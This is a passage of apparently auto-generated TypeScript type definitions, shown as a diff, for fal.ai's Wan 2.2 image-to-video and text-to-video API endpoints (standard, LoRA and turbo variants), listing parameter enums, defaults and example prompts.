inputFalAiWanV22A14BImageToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoLoraVideoQualityEnum] + +export const inputFalAiWanV22A14BImageToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV22A14BImageToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoLoraVideoWriteModeEnum] + +export type InputFalAiWanV22A14BImageToVideoLora = { + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Number of frames to interpolate between each pair of generated frames. Must be between 0 and 4. + * @minimum 0 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description If true, the video will be reversed. + * @default false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanV22A14BImageToVideoLoraAccelerationEnumKey + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://storage.googleapis.com/falserverless/gallery/car_720p.png + * @type string + */ + image_url: string + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + shift?: number + /** + * @description The model to use for frame interpolation. If None, no interpolation is applied. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanV22A14BImageToVideoLoraInterpolatorModelEnumKey + /** + * @description Aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV22A14BImageToVideoLoraAspectRatioEnumKey + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV22A14BImageToVideoLoraResolutionEnumKey + /** + * @description The text prompt to guide video generation. + * @example Cars racing in slow motion + * @type string + */ + prompt: string + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 27 + * @example 27 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description LoRA weights to be used in the inference. + * @default [] + * @type array | undefined + */ + loras?: LoRAWeightAe6Caec8[] + /** + * @description Number of frames to generate. Must be between 17 to 161 (inclusive). + * @minimum 17 + * @maximum 161 + * @default 81 + * @example 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Frames per second of the generated video. Must be between 4 to 60. When using interpolation and `adjust_fps_for_interpolation` is set to true (default true,) the final FPS will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If `adjust_fps_for_interpolation` is set to false, this value will be used as-is. + * @default 16 + * @example 16 + */ + frames_per_second?: number | null + /** + * @description Guidance scale for the second stage of the model. This is used to control the adherence to the prompt in the second stage of the model. + * @minimum 1 + * @maximum 10 + * @default 4 + * @example 4 + * @type number | undefined + */ + guidance_scale_2?: number + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV22A14BImageToVideoLoraVideoQualityEnumKey + /** + * @description URL of the end image. + */ + end_image_url?: string | null + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV22A14BImageToVideoLoraVideoWriteModeEnumKey + /** + * @description If true, the number of frames per second will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If false, the passed frames per second will be used as-is. + * @default true + * @example true + * @type boolean | undefined + */ + adjust_fps_for_interpolation?: boolean +} + +export type FileEd6496Cd = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV22A14BImageToVideoLora = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://v3.fal.media/files/lion/Fbuh3lO_HMT-pS0DATbio_tmp08c3v477.mp4"} + * @type object + */ + video: FileEd6496Cd + /** + * @description The text prompt used for video generation. + * @default '' + * @example The white dragon warrior stands still, eyes full of determination and strength. The camera slowly moves closer or circles around the warrior, highlighting the powerful presence and heroic spirit of the character. + * @type string | undefined + */ + prompt?: string +} + +export const inputFalAiWanV22A14BImageToVideoTurboAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanV22A14BImageToVideoTurboAccelerationEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoTurboAccelerationEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoTurboAccelerationEnum] + +export const inputFalAiWanV22A14BImageToVideoTurboAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV22A14BImageToVideoTurboAspectRatioEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoTurboAspectRatioEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoTurboAspectRatioEnum] + +export const inputFalAiWanV22A14BImageToVideoTurboResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV22A14BImageToVideoTurboResolutionEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoTurboResolutionEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoTurboResolutionEnum] + +export const inputFalAiWanV22A14BImageToVideoTurboVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV22A14BImageToVideoTurboVideoWriteModeEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoTurboVideoWriteModeEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoTurboVideoWriteModeEnum] + +export const inputFalAiWanV22A14BImageToVideoTurboVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV22A14BImageToVideoTurboVideoQualityEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoTurboVideoQualityEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoTurboVideoQualityEnum] + +export type InputFalAiWanV22A14BImageToVideoTurbo = { + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description URL of the end image. + */ + end_image_url?: string | null + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanV22A14BImageToVideoTurboAccelerationEnumKey + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description Aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV22A14BImageToVideoTurboAspectRatioEnumKey + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV22A14BImageToVideoTurboResolutionEnumKey + /** + * @description The text prompt to guide video generation. + * @example The white dragon warrior stands still, eyes full of determination and strength. The camera slowly moves closer or circles around the warrior, highlighting the powerful presence and heroic spirit of the character. + * @type string + */ + prompt: string + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV22A14BImageToVideoTurboVideoWriteModeEnumKey + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV22A14BImageToVideoTurboVideoQualityEnumKey +} + +export type FileD4E56919 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV22A14BImageToVideoTurbo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/gallery/wan-i2v-turbo.mp4"} + * @type object + */ + video: FileD4E56919 + /** + * @description The text prompt used for video generation. + * @default '' + * @example The white dragon warrior stands still, eyes full of determination and strength. The camera slowly moves closer or circles around the warrior, highlighting the powerful presence and heroic spirit of the character. + * @type string | undefined + */ + prompt?: string +} + +export const inputFalAiWanV22A14BTextToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanV22A14BTextToVideoAccelerationEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoAccelerationEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoAccelerationEnum] + +export const inputFalAiWanV22A14BTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV22A14BTextToVideoAspectRatioEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoAspectRatioEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoAspectRatioEnum] + +export const inputFalAiWanV22A14BTextToVideoResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV22A14BTextToVideoResolutionEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoResolutionEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoResolutionEnum] + +export const inputFalAiWanV22A14BTextToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV22A14BTextToVideoVideoQualityEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoVideoQualityEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoVideoQualityEnum] + +export const inputFalAiWanV22A14BTextToVideoInterpolatorModelEnum = { + none: 'none', + film: 'film', + rife: 'rife', +} as const + +export type InputFalAiWanV22A14BTextToVideoInterpolatorModelEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoInterpolatorModelEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoInterpolatorModelEnum] + +export const inputFalAiWanV22A14BTextToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV22A14BTextToVideoVideoWriteModeEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoVideoWriteModeEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoVideoWriteModeEnum] + +export type InputFalAiWanV22A14BTextToVideo = { + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Number of frames to interpolate between each pair of generated frames. Must be between 0 and 4. + * @minimum 0 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If true, the number of frames per second will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If false, the passed frames per second will be used as-is. + * @default true + * @example true + * @type boolean | undefined + */ + adjust_fps_for_interpolation?: boolean + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanV22A14BTextToVideoAccelerationEnumKey + /** + * @description Aspect ratio of the generated video (16:9 or 9:16). + * @default '16:9' + * @example 16:9 + * @example 9:16 + * @example 1:1 + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV22A14BTextToVideoAspectRatioEnumKey + /** + * @description Number of frames to generate. Must be between 17 to 161 (inclusive). + * @minimum 17 + * @maximum 161 + * @default 81 + * @example 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + shift?: number + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 27 + * @example 27 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide video generation. + * @example A close-up of a young woman smiling gently in the rain, raindrops glistening on her face and eyelashes. The video captures the delicate details of her expression and the water droplets, with soft light reflecting off her skin in the rainy atmosphere. + * @type string + */ + prompt: string + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV22A14BTextToVideoResolutionEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Frames per second of the generated video. Must be between 4 to 60. When using interpolation and `adjust_fps_for_interpolation` is set to true (default true,) the final FPS will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If `adjust_fps_for_interpolation` is set to false, this value will be used as-is. + * @default 16 + * @example 16 + */ + frames_per_second?: number | null + /** + * @description Guidance scale for the second stage of the model. This is used to control the adherence to the prompt in the second stage of the model. + * @minimum 1 + * @maximum 10 + * @default 4 + * @example 4 + * @type number | undefined + */ + guidance_scale_2?: number + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV22A14BTextToVideoVideoQualityEnumKey + /** + * @description The model to use for frame interpolation. If None, no interpolation is applied. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanV22A14BTextToVideoInterpolatorModelEnumKey + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV22A14BTextToVideoVideoWriteModeEnumKey + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type File6B7Ee960 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV22A14BTextToVideo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/wan/v2.2-woman-output.mp4"} + * @type object + */ + video: File6B7Ee960 + /** + * @description The text prompt used for video generation. + * @default '' + * @example A close-up of a young woman smiling gently in the rain, raindrops glistening on her face and eyelashes. The video captures the delicate details of her expression and the water droplets, with soft light reflecting off her skin in the rainy atmosphere. + * @type string | undefined + */ + prompt?: string +} + +export const loRAWeight8040D3D4TransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAWeight8040D3D4TransformerEnumKey = + (typeof loRAWeight8040D3D4TransformerEnum)[keyof typeof loRAWeight8040D3D4TransformerEnum] + +export type LoRAWeight8040D3D4 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description Specifies the transformer to load the lora weight into. 'high' loads into the high-noise transformer, 'low' loads it into the low-noise transformer, while 'both' loads the LoRA into both transformers. + * @default 'high' + * @type string | undefined + */ + transformer?: LoRAWeight8040D3D4TransformerEnumKey + /** + * @description Name of the LoRA weight. Used only if `path` is a Hugging Face repository, and required only if you have more than 1 safetensors file in the repo. + */ + weight_name?: string | null +} + +export const inputFalAiWanV22A14BTextToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanV22A14BTextToVideoLoraAccelerationEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoLoraAccelerationEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoLoraAccelerationEnum] + +export const inputFalAiWanV22A14BTextToVideoLoraAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV22A14BTextToVideoLoraAspectRatioEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoLoraAspectRatioEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoLoraAspectRatioEnum] + +export const inputFalAiWanV22A14BTextToVideoLoraResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV22A14BTextToVideoLoraResolutionEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoLoraResolutionEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoLoraResolutionEnum] + +export const inputFalAiWanV22A14BTextToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV22A14BTextToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoLoraVideoQualityEnum] + +export const inputFalAiWanV22A14BTextToVideoLoraInterpolatorModelEnum = { + none: 'none', + film: 'film', + rife: 'rife', +} as const + +export type InputFalAiWanV22A14BTextToVideoLoraInterpolatorModelEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoLoraInterpolatorModelEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoLoraInterpolatorModelEnum] + +export const inputFalAiWanV22A14BTextToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV22A14BTextToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoLoraVideoWriteModeEnum] + +export type InputFalAiWanV22A14BTextToVideoLora = { + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Number of frames to interpolate between each pair of generated frames. Must be between 0 and 4. + * @minimum 0 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description If true, the video will be reversed. + * @default false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description If true, the number of frames per second will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If false, the passed frames per second will be used as-is. + * @default true + * @example true + * @type boolean | undefined + */ + adjust_fps_for_interpolation?: boolean + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanV22A14BTextToVideoLoraAccelerationEnumKey + /** + * @description Aspect ratio of the generated video (16:9 or 9:16). + * @default '16:9' + * @example 16:9 + * @example 9:16 + * @example 1:1 + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV22A14BTextToVideoLoraAspectRatioEnumKey + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of frames to generate. Must be between 17 to 161 (inclusive). + * @minimum 17 + * @maximum 161 + * @default 81 + * @example 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 27 + * @example 27 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide video generation. + * @example A close-up of a young woman smiling gently in the rain, raindrops glistening on her face and eyelashes. The video captures the delicate details of her expression and the water droplets, with soft light reflecting off her skin in the rainy atmosphere. + * @type string + */ + prompt: string + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV22A14BTextToVideoLoraResolutionEnumKey + /** + * @description LoRA weights to be used in the inference. + * @default [] + * @type array | undefined + */ + loras?: LoRAWeight8040D3D4[] + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Frames per second of the generated video. Must be between 4 to 60. When using interpolation and `adjust_fps_for_interpolation` is set to true (default true,) the final FPS will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If `adjust_fps_for_interpolation` is set to false, this value will be used as-is. + * @default 16 + * @example 16 + */ + frames_per_second?: number | null + /** + * @description Guidance scale for the second stage of the model. This is used to control the adherence to the prompt in the second stage of the model. + * @minimum 1 + * @maximum 10 + * @default 4 + * @example 4 + * @type number | undefined + */ + guidance_scale_2?: number + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV22A14BTextToVideoLoraVideoQualityEnumKey + /** + * @description The model to use for frame interpolation. If None, no interpolation is applied. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanV22A14BTextToVideoLoraInterpolatorModelEnumKey + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV22A14BTextToVideoLoraVideoWriteModeEnumKey + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type FileBe16D673 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV22A14BTextToVideoLora = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/wan/v2.2-woman-output.mp4"} + * @type object + */ + video: FileBe16D673 + /** + * @description The text prompt used for video generation. + * @default '' + * @example A close-up of a young woman smiling gently in the rain, raindrops glistening on her face and eyelashes. The video captures the delicate details of her expression and the water droplets, with soft light reflecting off her skin in the rainy atmosphere. + * @type string | undefined + */ + prompt?: string +} + +export const inputFalAiWanV22A14BTextToVideoTurboAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanV22A14BTextToVideoTurboAccelerationEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoTurboAccelerationEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoTurboAccelerationEnum] + +export const inputFalAiWanV22A14BTextToVideoTurboAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV22A14BTextToVideoTurboAspectRatioEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoTurboAspectRatioEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoTurboAspectRatioEnum] + +export const inputFalAiWanV22A14BTextToVideoTurboResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV22A14BTextToVideoTurboResolutionEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoTurboResolutionEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoTurboResolutionEnum] + +export const inputFalAiWanV22A14BTextToVideoTurboVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV22A14BTextToVideoTurboVideoWriteModeEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoTurboVideoWriteModeEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoTurboVideoWriteModeEnum] + +export const inputFalAiWanV22A14BTextToVideoTurboVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV22A14BTextToVideoTurboVideoQualityEnumKey = + (typeof inputFalAiWanV22A14BTextToVideoTurboVideoQualityEnum)[keyof typeof inputFalAiWanV22A14BTextToVideoTurboVideoQualityEnum] + +export type InputFalAiWanV22A14BTextToVideoTurbo = { + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanV22A14BTextToVideoTurboAccelerationEnumKey + /** + * @description Aspect ratio of the generated video (16:9 or 9:16). + * @default '16:9' + * @example 16:9 + * @example 9:16 + * @example 1:1 + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV22A14BTextToVideoTurboAspectRatioEnumKey + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV22A14BTextToVideoTurboResolutionEnumKey + /** + * @description The text prompt to guide video generation. + * @example A medium shot establishes a modern, minimalist office setting: clean lines, muted grey walls, and polished wood surfaces. The focus shifts to a close-up on a woman in sharp, navy blue business attire. Her crisp white blouse contrasts with the deep blue of her tailored suit jacket. The subtle texture of the fabric is visible—a fine weave with a slight sheen. Her expression is serious, yet engaging, as she speaks to someone unseen just beyond the frame. Close-up on her eyes, showing the intensity of her gaze and the fine lines around them that hint at experience and focus. Her lips are slightly parted, as if mid-sentence. The light catches the subtle highlights in her auburn hair, meticulously styled. Note the slight catch of light on the silver band of her watch. High resolution 4k + * @type string + */ + prompt: string + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV22A14BTextToVideoTurboVideoWriteModeEnumKey + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV22A14BTextToVideoTurboVideoQualityEnumKey +} + +export type File382E5Ba7 = { + /** + * @description The mime type of 